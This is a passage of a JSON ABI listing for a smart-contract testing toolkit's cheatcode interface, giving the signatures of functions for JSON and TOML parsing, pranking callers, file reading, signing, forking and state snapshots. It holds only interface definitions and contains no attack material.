"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes32","name":"mappingSlot","type":"bytes32"},{"internalType":"uint256","name":"idx","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"getMappingSlotAt","outputs":[{"internalType":"bytes32","name":"value","type":"bytes32"}]},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"view","type":"function","name":"getNonce","outputs":[{"internalType":"uint64","name":"nonce","type":"uint64"}]},{"inputs":[{"internalType":"struct VmSafe.Wallet","name":"wallet","type":"tuple","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"publicKeyX","type":"uint256"},{"internalType":"uint256","name":"publicKeyY","type":"uint256"},{"internalType":"uint256","name":"privateKey","type":"uint256"}]}],"stateMutability":"nonpayable","type":"function","name":"getNonce","outputs":[{"internalType":"uint64","name":"nonce","type":"uint64"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getRecordedLogs","outputs":[{"internalType":"struct VmSafe.Log[]","name":"logs","type":"tuple[]","components":[{"internalType":"bytes32[]","name":"topics","type":"bytes32[]"},{"internalType":"bytes","name":"data","type":"bytes"},{"internalType":"address","name":"emitter","type":"address"}]}]},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"isDir","outputs":[{"internalType":"bool","name":"result","type":"bool"}]},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"isFile","outputs":[{"internalType":"bool","name":"result","type":"bool"}]},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"view","type":"function","name":"isPersistent","outputs":[{"internalType":"bool","name":"persistent","type":"bool"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"view","type":"function","name":"keyExists","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"view","type":"function","name":"keyExistsJson","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"view","type":"function","name":"keyExistsToml","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"string","name":"newLabel","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"label"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes32","name":"slot","type":"bytes32"}],"stateMutability":"view","type":"function","name":"load","outputs":[{"internalType":"bytes32","name":"data","type":"bytes32"}]},{"inputs":[{"internalType":"string","name":"pathToAllocsJson","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"loadAllocs"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"stateMutability":"nonpayable","type":"function","name":"makePersistent"},{"inputs":[{"internalType":"address","name":"account0","type":"address"},{"internalType":"address","name":"account1","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"makePersistent"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"makePersistent"},{"inputs":[{"internalType":"address","name":"account0","type":"address"},{"internalType":"address","name":"account1","type":"address"},{"internalType":"address","name":"account2","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"makePersistent"},{"inputs":[{"internalType":"address","name":"callee","type":"address"},{"internalType":"uint256","name":"msgValue","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"},{"internalType":"bytes","name":"returnData","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"mockCall"},{"inputs":[{"internalType":"address","name":"callee","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"},{"internalType":"bytes","name":"returnData","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"mockCall"},{"inputs":[{"internalType":"address","name":"callee","type":"address"},{"internalType":"uint256","name":"msgValue","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"},{"internalType":"bytes","name":"revertData","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"mockCallRevert"},{"inputs":[{"internalType":"address","name":"callee","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"},{"internalType":"bytes","name":"revertData","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"mockCallRevert"},{"inputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}],"stateMutability":"pure","type":"function","name":"parseAddress","outputs":[{"internalType":"address","name":"parsedValue","type":"address"}]},{"inputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}],"stateMutability":"pure","type":"function","name":"parseBool","outputs":[{"internalType":"bool","name":"parsedValue","type":"bool"}]},{"inputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}],"stateMutability":"pure","type":"function","name":"parseBytes","outputs":[{"internalType":"bytes","name":"parsedValue","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}],"stateMutability":"pure","type":"function","name":"parseBytes32","outputs":[{"internalType":"bytes32","name":"parsedValue","type":"bytes32"}]},{"inputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}],"stateMutability":"pure","type":"function","name":"parseInt","outputs":[{"internalType":"int256","name":"parsedValue","type":"int256"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJson","outputs":[{"internalType":"bytes","name":"abiEncodedData","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJson","outputs":[{"internalType":"bytes","name":"abiEncodedData","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonAddress","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonAddressArray","outputs":[{"internalType":"address[]","name":"","type":"address[]"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonBool","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonBoolArray","outputs":[{"internalType":"bool[]","name":"","type":"bool[]"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonBytes","outputs":[{"internalType":"bytes","name":"","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonBytes32","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonBytes32Array","outputs":[{"internalType":"bytes32[]","name":"","type":"bytes32[]"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonBytesArray","outputs":[{"internalType":"bytes[]","name":"","type":"bytes[]"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonInt","outputs":[{"internalType":"int256","name":"","type":"int256"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonIntArray","outputs":[{"internalType":"int256[]","name":"","type":"int256[]"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonKeys","outputs":[{"internalType":"string[]","name":"keys","type":"string[]"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonString","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonStringArray","outputs":[{"internalType":"string[]","name":"","type":"string[]"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonUint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseJsonUintArray","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseToml","outputs":[{"internalType":"bytes","name":"abiEncodedData","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"}],"stateMutability":"pure","type":"function","name":"parseToml","outputs":[{"internalType":"bytes","name":"abiEncodedData","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlAddress","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlAddressArray","outputs":[{"internalType":"address[]","name":"","type":"address[]"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlBool","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlBoolArray","outputs":[{"internalType":"bool[]","name":"","type":"bool[]"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlBytes","outputs":[{"internalType":"bytes","name":"","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlBytes32","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlBytes32Array","outputs":[{"internalType":"bytes32[]","name":"","type":"bytes32[]"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlBytesArray","outputs":[{"internalType":"bytes[]","name":"","type":"bytes[]"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlInt","outputs":[{"internalType":"int256","name":"","type":"int256"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlIntArray","outputs":[{"internalType":"int256[]","name":"","type":"int256[]"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlKeys","outputs":[{"internalType":"string[]","name":"keys","type":"string[]"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlString","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlStringArray","outputs":[{"internalType":"string[]","name":"","type":"string[]"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlUint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"toml","type":"string"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlUintArray","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}]},{"inputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}],"stateMutability":"pure","type":"function","name":"parseUint","outputs":[{"internalType":"uint256","name":"parsedValue","type":"uint256"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"pauseGasMetering"},{"inputs":[{"internalType":"address","name":"msgSender","type":"address"},{"internalType":"address","name":"txOrigin","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"prank"},{"inputs":[{"internalType":"address","name":"msgSender","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"prank"},{"inputs":[{"internalType":"bytes32","name":"newPrevrandao","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"prevrandao"},{"inputs":[],"stateMutability":"view","type":"function","name":"projectRoot","outputs":[{"internalType":"string","name":"path","type":"string"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"readCallers","outputs":[{"internalType":"enum VmSafe.CallerMode","name":"callerMode","type":"uint8"},{"internalType":"address","name":"msgSender","type":"address"},{"internalType":"address","name":"txOrigin","type":"address"}]},{"inputs":[{"internalType":"string","name":"path","type":"string"},{"internalType":"uint64","name":"maxDepth","type":"uint64"}],"stateMutability":"view","type":"function","name":"readDir","outputs":[{"internalType":"struct VmSafe.DirEntry[]","name":"entries","type":"tuple[]","components":[{"internalType":"string","name":"errorMessage","type":"string"},{"internalType":"string","name":"path","type":"string"},{"internalType":"uint64","name":"depth","type":"uint64"},{"internalType":"bool","name":"isDir","type":"bool"},{"internalType":"bool","name":"isSymlink","type":"bool"}]}]},{"inputs":[{"internalType":"string","name":"path","type":"string"},{"internalType":"uint64","name":"maxDepth","type":"uint64"},{"internalType":"bool","name":"followLinks","type":"bool"}],"stateMutability":"view","type":"function","name":"readDir","outputs":[{"internalType":"struct VmSafe.DirEntry[]","name":"entries","type":"tuple[]","components":[{"internalType":"string","name":"errorMessage","type":"string"},{"internalType":"string","name":"path","type":"string"},{"internalType":"uint64","name":"depth","type":"uint64"},{"internalType":"bool","name":"isDir","type":"bool"},{"internalType":"bool","name":"isSymlink","type":"bool"}]}]},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"view","type":"function","name":"readDir","outputs":[{"internalType":"struct VmSafe.DirEntry[]","name":"entries","type":"tuple[]","components":[{"internalType":"string","name":"errorMessage","type":"string"},{"internalType":"string","name":"path","type":"string"},{"internalType":"uint64","name":"depth","type":"uint64"},{"internalType":"bool","name":"isDir","type":"bool"},{"internalType":"bool","name":"isSymlink","type":"bool"}]}]},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"view","type":"function","name":"readFile","outputs":[{"internalType":"string","name":"data","type":"string"}]},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"view","type":"function","name":"readFileBinary","outputs":[{"internalType":"bytes","name":"data","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"view","type":"function","name":"readLine","outputs":[{"internalType":"string","name":"line","type":"string"}]},{"inputs":[{"internalType":"string","name":"linkPath","type":"string"}],"stateMutability":"view","type":"function","name":"readLink","outputs":[{"internalType":"string","name":"targetPath","type":"string"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"record"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"recordLogs"},{"inputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"rememberKey","outputs":[{"internalType":"address","name":"keyAddr","type":"address"}]},{"inputs":[{"internalType":"string","name":"path","type":"string"},{"internalType":"bool","name":"recursive","type":"bool"}],"stateMutability":"nonpayable","type":"function","name":"removeDir"},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"removeFile"},{"inputs":[{"internalType":"string","name":"input","type":"string"},{"internalType":"string","name":"from","type":"string"},{"internalType":"string","name":"to","type":"string"}],"stateMutability":"pure","type":"function","name":"replace","outputs":[{"internalType":"string","name":"output","type":"string"}]},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"resetNonce"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"resumeGasMetering"},{"inputs":[{"internalType":"uint256","name":"snapshotId","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"revertTo","outputs":[{"internalType":"bool","name":"success","type":"bool"}]},{"inputs":[{"internalType":"uint256","name":"snapshotId","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"revertToAndDelete","outputs":[{"internalType":"bool","name":"success","type":"bool"}]},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"stateMutability":"nonpayable","type":"function","name":"revokePersistent"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"revokePersistent"},{"inputs":[{"internalType":"uint256","name":"newHeight","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"roll"},{"inputs":[{"internalType":"bytes32","name":"txHash","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"rollFork"},{"inputs":[{"internalType":"uint256","name":"forkId","type":"uint256"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"rollFork"},{"inputs":[{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"rollFork"},{"inputs":[{"internalType":"uint256","name":"forkId","type":"uint256"},{"internalType":"bytes32","name":"txHash","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"rollFork"},{"inputs":[{"internalType":"string","name":"method","type":"string"},{"internalType":"string","name":"params","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"rpc","outputs":[{"internalType":"bytes","name":"data","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"rpcAlias","type":"string"}],"stateMutability":"view","type":"function","name":"rpcUrl","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"rpcUrlStructs","outputs":[{"internalType":"struct VmSafe.Rpc[]","name":"urls","type":"tuple[]","components":[{"internalType":"string","name":"key","type":"string"},{"internalType":"string","name":"url","type":"string"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"rpcUrls","outputs":[{"internalType":"string[2][]","name":"urls","type":"string[2][]"}]},{"inputs":[{"internalType":"uint256","name":"forkId","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"selectFork"},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"address[]","name":"values","type":"address[]"}],"stateMutability":"nonpayable","type":"function","name":"serializeAddress","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"address","name":"value","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"serializeAddress","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"bool[]","name":"values","type":"bool[]"}],"stateMutability":"nonpayable","type":"function","name":"serializeBool","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"bool","name":"value","type":"bool"}],"stateMutability":"nonpayable","type":"function","name":"serializeBool","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"bytes[]","name":"values","type":"bytes[]"}],"stateMutability":"nonpayable","type":"function","name":"serializeBytes","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"bytes","name":"value","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"serializeBytes","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"bytes32[]","name":"values","type":"bytes32[]"}],"stateMutability":"nonpayable","type":"function","name":"serializeBytes32","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"bytes32","name":"value","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"serializeBytes32","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"int256","name":"value","type":"int256"}],"stateMutability":"nonpayable","type":"function","name":"serializeInt","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"int256[]","name":"values","type":"int256[]"}],"stateMutability":"nonpayable","type":"function","name":"serializeInt","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"value","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"serializeJson","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"string[]","name":"values","type":"string[]"}],"stateMutability":"nonpayable","type":"function","name":"serializeString","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"string","name":"value","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"serializeString","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"serializeUint","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"uint256[]","name":"values","type":"uint256[]"}],"stateMutability":"nonpayable","type":"function","name":"serializeUint","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"value","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"setEnv"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint64","name":"newNonce","type":"uint64"}],"stateMutability":"nonpayable","type":"function","name":"setNonce"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint64","name":"newNonce","type":"uint64"}],"stateMutability":"nonpayable","type":"function","name":"setNonceUnsafe"},{"inputs":[{"internalType":"struct VmSafe.Wallet","name":"wallet","type":"tuple","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"publicKeyX","type":"uint256"},{"internalType":"uint256","name":"publicKeyY","type":"uint256"},{"internalType":"uint256","name":"privateKey","type":"uint256"}]},{"internalType":"bytes32","name":"digest","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"sign","outputs":[{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}]},{"inputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"},{"internalType":"bytes32","name":"digest","type":"bytes32"}],"stateMutability":"pure","type":"function","name":"sign","outputs":[{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}]},{"inputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"},{"internalType":"bytes32","name":"digest","type":"bytes32"}],"stateMutability":"pure","type":"function","name":"signP256","outputs":[{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}]},{"inputs":[{"internalType":"bool","name":"skipTest","type":"bool"}],"stateMutability":"nonpayable","type":"function","name":"skip"},{"inputs":[{"internalType":"uint256","name":"duration","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"sleep"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"snapshot","outputs":[{"internalType":"uint256","name":"snapshotId","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"input","type":"string"},{"internalType":"string","name":"delimiter","type":"string"}],"stateMutability":"pure","type":"function","name":"split","outputs":[{"internalType":"string[]","name":"outputs","type":"string[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"startBroadcast"},{"inputs":[{"internalType":"address","name":"signer","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"startBroadcast"},{"inputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"startBroadcast"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"startMappingRecording"},{"inputs":[{"internalType":"address","name":"msgSender","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"startPrank"},{"inputs":[{"internalType":"address","name":"msgSender","type":"address"},{"internalType":"address","name":"txOrigin","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"startPrank"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"startStateDiffRecording"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"stopAndReturnStateDiff","outputs":[{"internalType":"struct VmSafe.AccountAccess[]","name":"accountAccesses","type":"tuple[]","components":[{"internalType":"struct VmSafe.ChainInfo","name":"chainInfo","type":"tuple","components":[{"internalType":"uint256","name":"forkId","type":"uint256"},{"internalType":"uint256","name":"chainId","type":"uint256"}]},{"internalType":"enum VmSafe.AccountAccessKind","name":"kind","type":"uint8"},{"internalType":"address","name":"account","type":"address"},{"internalType":"address","name":"accessor","type":"address"},{"internalType":"bool","name":"initialized","type":"bool"},{"internalType":"uint256","name":"oldBalance","type":"uint256"},{"internalType":"uint256","name":"newBalance","type":"uint256"},{"internalType":"bytes","name":"deployedCode","type":"bytes"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"},{"internalType":"bool","name":"reverted","type":"bool"},{"internalType":"struct VmSafe.StorageAccess[]","name":"storageAccesses","type":"tuple[]","components":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bytes32","name":"slot","type":"bytes32"},{"internalType":"bool","name":"isWrite","type":"bool"},{"internalType":"bytes32","name":"previousValue","type":"bytes32"},{"internalType":"bytes32","name":"newValue","type":"bytes32"},{"internalType":"bool","name":"reverted","type":"bool"}]},{"internalType":"uint64","name":"depth","type":"uint64"}]}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"stopBroadcast"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"stopExpectSafeMemory"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"stopMappingRecording"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"stopPrank"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes32","name":"slot","type":"bytes32"},{"internalType":"bytes32","name":"value","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"store"},{"inputs":[{"internalType":"string","name":"data","type":"string"}],"stateMutability":"pure","type":"function","name":"toBase64","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"pure","type":"function","name":"toBase64","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"string","name":"data","type":"string"}],"stateMutability":"pure","type":"function","name":"toBase64URL","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"pure","type":"function","name":"toBase64URL","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"string","name":"input","type":"string"}],"stateMutability":"pure","type":"function","name":"toLowercase","outputs":[{"internalType":"string","name":"output","type":"string"}]},{"inputs":[{"internalType":"address","name":"value","type":"address"}],"stateMutability":"pure","type":"function","name":"toString","outputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}]},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"pure","type":"function","name":"toString","outputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}]},{"inputs":[{"internalType":"bytes","name":"value","type":"bytes"}],"stateMutability":"pure","type":"function","name":"toString","outputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}]},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"stateMutability":"pure","type":"function","name":"toString","outputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}]},{"inputs":[{"internalType":"int256","name":"value","type":"int256"}],"stateMutability":"pure","type":"function","name":"toString","outputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}]},{"inputs":[{"internalType":"bytes32","name":"value","type":"bytes32"}],"stateMutability":"pure","type":"function","name":"toString","outputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}]},{"inputs":[{"internalType":"string","name":"input","type":"string"}],"stateMutability":"pure","type":"function","name":"toUppercase","outputs":[{"internalType":"string","name":"output","type":"string"}]},{"inputs":[{"internalType":"uint256","name":"forkId","type":"uint256"},{"internalT